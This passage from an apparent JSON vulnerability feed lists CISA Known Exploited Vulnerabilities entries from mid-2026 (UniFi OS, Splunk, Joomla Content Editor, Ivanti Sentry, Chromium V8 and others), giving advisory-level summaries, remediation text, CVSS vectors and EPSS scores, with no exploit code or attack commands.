patching guidelines.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":{"score":10,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","sourceUrl":"https://cveawg.mitre.org/api/cve/CVE-2026-34909","asOf":"2026-05-22T20:19:51.649Z"},"epss":{"probability":0.68033,"percentile":0.99319,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-34909&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2026-34909","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2026-06-23","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2026-34909 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-34909&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-34909, scored 2026-10-25. This is a model estimate, not proof of exposure."},{"name":"CVE Program CNA hackerone","url":"https://cveawg.mitre.org/api/cve/CVE-2026-34909","type":"primary","publishedAt":"2026-05-22T00:43:49.072Z","checkedAt":"2026-10-26T18:05:57.150Z","supports":"The published CVE-2026-34909 document's CNA supplies this CVSS 3.1 base score, vector, and authoritative source update date."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:05:57.150Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-34910","cveId":"CVE-2026-34910","aliases":[],"kind":"vulnerability","title":"Ubiquiti UniFi OS Improper Input Validation Vulnerability","summary":"Ubiquiti UniFi OS contains an improper input validation vulnerability which could allow a malicious actor with access to the network to conduct command injection.","detail":"CISA added this entry on 2026-06-23. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","publishedAt":"2026-06-23","updatedAt":null,"regions":["Global"],"vendor":"Ubiquiti","product":"UniFi OS","stacks":["Ubiquiti","UniFi OS"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2026-06-23","dueAt":"2026-06-26","action":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":{"score":10,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","sourceUrl":"https://cveawg.mitre.org/api/cve/CVE-2026-34910","asOf":"2026-05-22T00:43:49.096Z"},"epss":{"probability":0.90032,"percentile":0.99792,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-34910&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2026-34910","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2026-06-23","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2026-34910 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-34910&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-34910, scored 2026-10-25. This is a model estimate, not proof of exposure."},{"name":"CVE Program CNA hackerone","url":"https://cveawg.mitre.org/api/cve/CVE-2026-34910","type":"primary","publishedAt":"2026-05-22T00:43:49.096Z","checkedAt":"2026-10-26T18:05:57.150Z","supports":"The published CVE-2026-34910 document's CNA supplies this CVSS 3.1 base score, vector, and authoritative source update date."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:05:57.150Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-20253","cveId":"CVE-2026-20253","aliases":[],"kind":"vulnerability","title":"Splunk Enterprise Missing Authentication for Critical Function Vulnerability","summary":"Splunk Enterprise contains a missing authentication for critical function vulnerability which could allow an unauthenticated user to create or truncate arbitrary files through a PostgreSQL sidecar service endpoint.","detail":"CISA added this entry on 2026-06-18. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","publishedAt":"2026-06-18","updatedAt":null,"regions":["Global"],"vendor":"Splunk","product":"Enterprise","stacks":["Splunk","Enterprise"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2026-06-18","dueAt":"2026-06-21","action":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":{"score":9.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://cveawg.mitre.org/api/cve/CVE-2026-20253","asOf":"2026-06-15T20:33:56.243Z"},"epss":{"probability":0.96939,"percentile":0.99888,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-20253&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2026-20253","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2026-06-18","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2026-20253 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-20253&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-20253, scored 2026-10-25. This is a model estimate, not proof of exposure."},{"name":"CVE Program CNA cisco","url":"https://cveawg.mitre.org/api/cve/CVE-2026-20253","type":"primary","publishedAt":"2026-06-10T17:16:21.242Z","checkedAt":"2026-10-26T18:05:57.150Z","supports":"The published CVE-2026-20253 document's CNA supplies this CVSS 3.1 base score, vector, and authoritative source update date."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:05:57.150Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-48907","cveId":"CVE-2026-48907","aliases":[],"kind":"vulnerability","title":"Widget Factory Joomla Content Editor Improper Access Control Vulnerability","summary":"Widget Factory Joomla Content Editor contains an improper access control vulnerability which could allow for upload and execution of PHP code via the creation of new editor profiles for unauthenticated users.","detail":"CISA added this entry on 2026-06-16. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","publishedAt":"2026-06-16","updatedAt":null,"regions":["Global"],"vendor":"Widget Factory","product":"Joomla Content Editor","stacks":["Joomla","Widget Factory","Joomla Content Editor"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2026-06-16","dueAt":"2026-06-19","action":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":{"score":10,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:A/AU:Y/U:Red","sourceUrl":"https://cveawg.mitre.org/api/cve/CVE-2026-48907","asOf":"2026-06-20T11:56:48.886Z"},"epss":{"probability":0.85439,"percentile":0.99718,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-48907&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2026-48907","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2026-06-16","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2026-48907 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-48907&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-48907, scored 2026-10-25. This is a model estimate, not proof of exposure."},{"name":"CVE Program CNA Joomla","url":"https://cveawg.mitre.org/api/cve/CVE-2026-48907","type":"primary","publishedAt":"2026-06-05T07:31:30.257Z","checkedAt":"2026-10-26T18:05:57.150Z","supports":"The published CVE-2026-48907 document's CNA supplies this CVSS 4.0 base score, vector, and authoritative source update date."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:05:57.150Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-20262","cveId":"CVE-2026-20262","aliases":[],"kind":"vulnerability","title":"Cisco Catalyst SD-WAN Manager Directory or Path Traversal Vulnerability","summary":"Cisco Catalyst SD-WAN Manager contains a directory or path traversal vulnerability that could allow an authenticated, remote attacker to create a file or overwrite any file on the filesystem of an affected system.","detail":"CISA added this entry on 2026-06-15. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","publishedAt":"2026-06-15","updatedAt":null,"regions":["Global"],"vendor":"Cisco","product":"Catalyst SD-WAN Manager","stacks":["Cisco","Catalyst SD-WAN Manager"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2026-06-15","dueAt":"2026-06-29","action":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":{"score":6.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N","sourceUrl":"https://cveawg.mitre.org/api/cve/CVE-2026-20262","asOf":"2026-06-15T16:21:09.696Z"},"epss":{"probability":0.29116,"percentile":0.98152,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-20262&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2026-20262","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2026-06-15","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2026-20262 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-20262&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-20262, scored 2026-10-25. This is a model estimate, not proof of exposure."},{"name":"CVE Program CNA cisco","url":"https://cveawg.mitre.org/api/cve/CVE-2026-20262","type":"primary","publishedAt":"2026-06-15T16:21:09.696Z","checkedAt":"2026-10-26T18:21:57.878Z","supports":"The published CVE-2026-20262 document's CNA supplies this CVSS 3.1 base score, vector, and authoritative source update date."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:21:57.878Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-54420","cveId":"CVE-2026-54420","aliases":[],"kind":"vulnerability","title":"LiteSpeed cPanel Plugin UNIX Symbolic Link (Symlink) Following Vulnerability","summary":"LiteSpeed cPanel plugin contains a UNIX symbolic link (Symlink) following vulnerability that could allow a user with FTP or web shell access on a shared hosting server running CloudLinux/CageFS.","detail":"CISA added this entry on 2026-06-15. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","publishedAt":"2026-06-15","updatedAt":null,"regions":["Global"],"vendor":"LiteSpeed","product":"cPanel Plugin","stacks":["LiteSpeed","cPanel Plugin"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2026-06-15","dueAt":"2026-06-18","action":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":{"score":8.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H","sourceUrl":"https://cveawg.mitre.org/api/cve/CVE-2026-54420","asOf":"2026-06-14T03:23:12.863Z"},"epss":{"probability":0.01439,"percentile":0.72973,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-54420&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2026-54420","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2026-06-15","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2026-54420 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-54420&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-54420, scored 2026-10-25. This is a model estimate, not proof of exposure."},{"name":"CVE Program CNA mitre","url":"https://cveawg.mitre.org/api/cve/CVE-2026-54420","type":"primary","publishedAt":"2026-06-14T03:23:12.863Z","checkedAt":"2026-10-26T18:21:57.878Z","supports":"The published CVE-2026-54420 document's CNA supplies this CVSS 3.1 base score, vector, and authoritative source update date."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:21:57.878Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-35273","cveId":"CVE-2026-35273","aliases":[],"kind":"vulnerability","title":"Oracle PeopleSoft Enterprise PeopleTools Missing Authentication for Critical Function Vulnerability","summary":"Oracle PeopleSoft Enterprise PeopleTools contains a missing authentication for critical function vulnerability which could allow an unauthenticated attacker to obtain takeover of PeopleSoft Enterprise PeopleTools.","detail":"CISA added this entry on 2026-06-12. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","publishedAt":"2026-06-12","updatedAt":null,"regions":["Global"],"vendor":"Oracle","product":"PeopleSoft Enterprise PeopleTools","stacks":["Oracle","PeopleSoft Enterprise PeopleTools"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2026-06-12","dueAt":"2026-06-15","action":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":{"score":9.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://cveawg.mitre.org/api/cve/CVE-2026-35273","asOf":"2026-06-11T03:08:03.789Z"},"epss":{"probability":0.96678,"percentile":0.99883,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-35273&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2026-35273","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2026-06-12","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2026-35273 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-35273&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-35273, scored 2026-10-25. This is a model estimate, not proof of exposure."},{"name":"CVE Program CNA oracle","url":"https://cveawg.mitre.org/api/cve/CVE-2026-35273","type":"primary","publishedAt":"2026-06-11T02:25:15.375Z","checkedAt":"2026-10-26T18:21:57.878Z","supports":"The published CVE-2026-35273 document's CNA supplies this CVSS 3.1 base score, vector, and authoritative source update date."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:21:57.878Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-10520","cveId":"CVE-2026-10520","aliases":[],"kind":"vulnerability","title":"Ivanti Sentry OS Command Injection Vulnerability","summary":"Ivanti Sentry (formerly known as MobileIron Sentry) contains an OS command injection vulnerability which could allow a remote unauthenticated user to achieve root-level remote code execution. This vulnerability can be successfully exploited in cases where the Sentry appliance is in an unmanaged state with its endpoints externally reachable. The use of mTLS with EPMM or restricted HTTPS access through Neurons for MDM makes interfaces inaccessible to external actors.","detail":"CISA added this entry on 2026-06-11. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","publishedAt":"2026-06-11","updatedAt":null,"regions":["Global"],"vendor":"Ivanti","product":"Sentry","stacks":["Ivanti","Sentry"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2026-06-11","dueAt":"2026-06-14","action":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":{"score":10,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","sourceUrl":"https://cveawg.mitre.org/api/cve/CVE-2026-10520","asOf":"2026-06-09T14:10:21.581Z"},"epss":{"probability":0.99915,"percentile":0.99968,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-10520&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2026-10520","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2026-06-11","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2026-10520 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-10520&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-10520, scored 2026-10-25. This is a model estimate, not proof of exposure."},{"name":"CVE Program CNA ivanti","url":"https://cveawg.mitre.org/api/cve/CVE-2026-10520","type":"primary","publishedAt":"2026-06-09T14:10:21.581Z","checkedAt":"2026-10-26T18:21:57.878Z","supports":"The published CVE-2026-10520 document's CNA supplies this CVSS 3.1 base score, vector, and authoritative source update date."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:21:57.878Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-11645","cveId":"CVE-2026-11645","aliases":[],"kind":"vulnerability","title":"Google Chromium V8 Out-of-Bounds Read and Write Vulnerability","summary":"Google Chromium V8 out-of-bounds read and write vulnerability that could allow a remote attacker to execute arbitrary code inside a sandbox via a crafted HTML page. This vulnerability could affect multiple web browsers that utilize Chromium, including, but not limited to, Google Chrome, Microsoft Edge, and Opera.","detail":"CISA added this entry on 2026-06-09. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","publishedAt":"2026-06-09","updatedAt":null,"regions":["Global"],"vendor":"Google","product":"Chromium V8","stacks":["Google Chrome","Google","Chromium V8"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2026-06-09","dueAt":"2026-06-23","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://cveawg.mitre.org/api/cve/CVE-2026-11645","asOf":"2026-06-10T03:58:04.682Z"},"epss":{"probability":0.0244,"percentile":0.84183,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-11645&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2026-11645","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2026-06-09","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2026-11645 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-11645&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-11645, scored 2026-10-25. This is a model estimate, not proof of exposure."},{"name":"CVE Program ADP assessment CISA-ADP","url":"https://cveawg.mitre.org/api/cve/CVE-2026-11645","type":"primary","publishedAt":"2026-06-08T23:27:31.298Z","checkedAt":"2026-10-26T18:21:57.878Z","supports":"The published CVE-2026-11645 document's ADP assessment supplies this CVSS 3.1 base score, vector, and authoritative source update date."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:21:57.878Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-20245","cveId":"CVE-2026-20245","aliases":[],"kind":"vulnerability","title":"Cisco Catalyst SD-WAN Manager Improper Encoding or Escaping of Output Vulnerability","summary":"Cisco Catalyst SD-WAN Manager formerly SD-WAN vManage contains an improper encoding or escaping of output vulnerability. This vulnerability could allow an authenticated, local attacker to execute arbitrary commands as root by supplying a crafted file to the affected system.","detail":"CISA added this entry on 2026-06-09. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","publishedAt":"2026-06-09","updatedAt":null,"regions":["Global"],"vendor":"Cisco","product":"Catalyst SD-WAN Manager","stacks":["Cisco","Catalyst SD-WAN Manager"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2026-06-09","dueAt":"2026-06-23","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://cveawg.mitre.org/api/cve/CVE-2026-20245","asOf":"2026-07-21T16:17:48.759Z"},"epss":{"probability":0.25323,"percentile":0.97928,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-20245&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry 